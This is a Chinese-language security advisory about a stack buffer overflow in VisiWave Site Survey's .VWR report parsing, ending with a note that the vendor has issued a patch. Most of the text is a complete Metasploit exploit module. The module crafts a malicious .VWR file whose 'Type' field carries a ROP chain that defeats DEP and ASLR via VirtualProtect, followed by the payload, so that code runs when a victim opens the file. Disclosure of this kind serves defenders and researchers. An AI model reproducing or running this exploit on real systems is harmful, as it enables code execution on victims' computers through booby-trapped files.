发布日期：2011-05-24
更新日期：2011-05-25

受影响系统：

AZO Technologies, Inc. VisiWave Site Survey 2.1.9
AZO Technologies, Inc. VisiWave Site Survey 2.0.12

描述：

---

BUGTRAQ  ID: 47948

VisiWave Site Survey是完整的802.11a/b/g/n站点勘测解决方案。

VisiWave Site Survey在实现上存在栈缓冲区溢出漏洞，攻击者可利用此漏洞执行任意代码。

<*来源：mr_me
  
  链接：http://osvdb.org/show/osvdb/72464
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

mr_me （）提供了如下测试方法：

##
# $Id: visiwave_vwr_type.rb 12706 2011-05-24 23:15:06Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking

    include Msf::Exploit::FILEFORMAT

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'VisiWave VWR File Parsing Buffer Overflow',
            'Description'    => %q{
                This module exploits a vulnerability found in VisiWave's Site Survey Report application.
                When processing .VWR files, VisiWave.exe attempts to match a valid pointer based on the 'Type'
                property (valid ones include 'Properties', 'TitlePage', 'Details', 'Graph', 'Table', 'Text',
                'Image'), but if a match isn't found, the function that's supposed to handle this routine
                ends up returning the input as a pointer, and later used in a CALL DWORD PTR [EDX+10]
                instruction.  This allows attackers to overwrite it with any arbitrary value, and results code
                execution.  This module was built to bypass ASLR and DEP.

                NOTE: During installation, the application will register two file handle's, VWS and VWR and allows a
                victim user to 'double click' the malicious VWR file and execute code.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'mr_me',  # original discovery & msf exploit
                    'TecR0c'  # msf exploit
                ],
            'Version'        => '$Revision: 12706 $',
            'References'     =>
                [
                    [ 'OSVDB', '72464'],
                    [ 'URL', 'http://www.visiwave.com/blog/index.php?/archives/4-Version-2.1.9-Released.html' ]
                ],
            'Payload'        =>
                {
                    'Space'       => 2000,
                    'BadChars'    => "\x00\x0a\x0d",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [
                        'Windows XP SP3/Windows 7 SP0',
                        {
                            'Offset' => 3981,         # offset to rop gadgets
                            'Pointer' => 0x007AF938,  # POP R32; POP R32; POP R32; ADD ESP 50; RETN ("magic" pointer)
                        }
                    ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'May 10 2011',
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('FILENAME', [ true, 'The file name.',  'msf.vwr']),
            ], self.class)
    end

    def exploit

        # Allowing nulls in our rop chain is like giving gold to midas.
        # instructions taken from the applications non aslr modules
        # libcurl.dll, VisiWaveReport.exe and blah blah
        rop_gadgets =
        [
            0x1001AFBD,  # INC EBP; PUSH ESP; POP EDI; POP ESI; POP EBP; POP EBX; RET
            0xc0fff333,  # junk
            0xc0fff333,  # junk
            0x000004cf,  # lwSize 1231 bytes
            0x100017DD,  # POP ECX; RETN
            0x10037a60,  # Writeable address from .data of libcurl.dll
            0x10011104,  # POP EDX; RETN
            0x00000040,  # RWX for VirtualProtect()
            0x10026E4D,  # MOV EAX,EDI # POP EDI # RETN
            0x10002ac6,  # RETN
            0x10022641,  # ADD EAX, 20; RETN
            0x10022641,  # ADD EAX, 20; RETN
            0x10022641,  # ADD EAX, 20; RETN
            0x10022641,  # ADD EAX, 20; RETN
            0x10022641,  # ADD EAX, 20; RETN
            0x10022641,  # ADD EAX, 20; RETN
            0x004048B1,  # XCHG EAX,EBP
            0x1001BD3F,  # POP EAX; RETN
            0x10032048,  # IAT Address - constant pointer to VirtualProtect()
            0x1000FA4A,  # MOV EAX,DWORD PTR DS:[EAX]; RETN
            0x00657fd7,  # XCHG EAX,ESI; RETN
            0x1000af40,  # PUSHAD; RET
        ].pack("V*")

        # grab the pointer to our buffer
        pointer = [target["Pointer"]].pack("V")

        sploit = pointer  # begin life in EDX
        sploit << rand_text_alphanumeric(target["Offset"])  # massive offset
        sploit << rop_gadgets      # rop chain
        sploit << make_nops(300)   # safe landing
        sploit << payload.encoded  # profit!

        vwr_data = "FileType: SSREPORT\r\n"
        vwr_data << "Product: VisiWave Site Survey, 1.6.5 Beta\r\n"
        vwr_data << "FileVersion: 10\r\n"
        vwr_data << "Item: Global Properties\r\n"
        vwr_data << "Checked: 1\r\n"
        vwr_data << "Type: #{sploit}\r\n"
        vwr_data << "SurveyFile: C:\Program Files\VisiWave Site Survey\Samples\SampleData.vws\r\n"
        vwr_data << "FloorPlanImageReport: C:\WINDOWS\Web\bullet.gif\r\n"
        vwr_data << "DefaultOrientation: 0\r\n"
        vwr_data << "Header:\r\n"
        vwr_data << "Footer:\r\n"
        vwr_data << "LeftMargin: 100\r\n"
        vwr_data << "RightMargin: 100\r\n"
        vwr_data << "TopMargin: 50\r\n"
        vwr_data << "BottomMargin: 50\r\n"
        vwr_data << "Item: lol\r\n"
        vwr_data << "Checked: 1\r\n"

        print_status("Creating '#{datastore['FILENAME']}'...")
        file_create(vwr_data)
    end

end

建议：

---

厂商补丁：

AZO Technologies, Inc.
----------------------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.visiwave.com/index.php/ScrInfoProducts.html?sid=CTvWjijnyHsbnaVm

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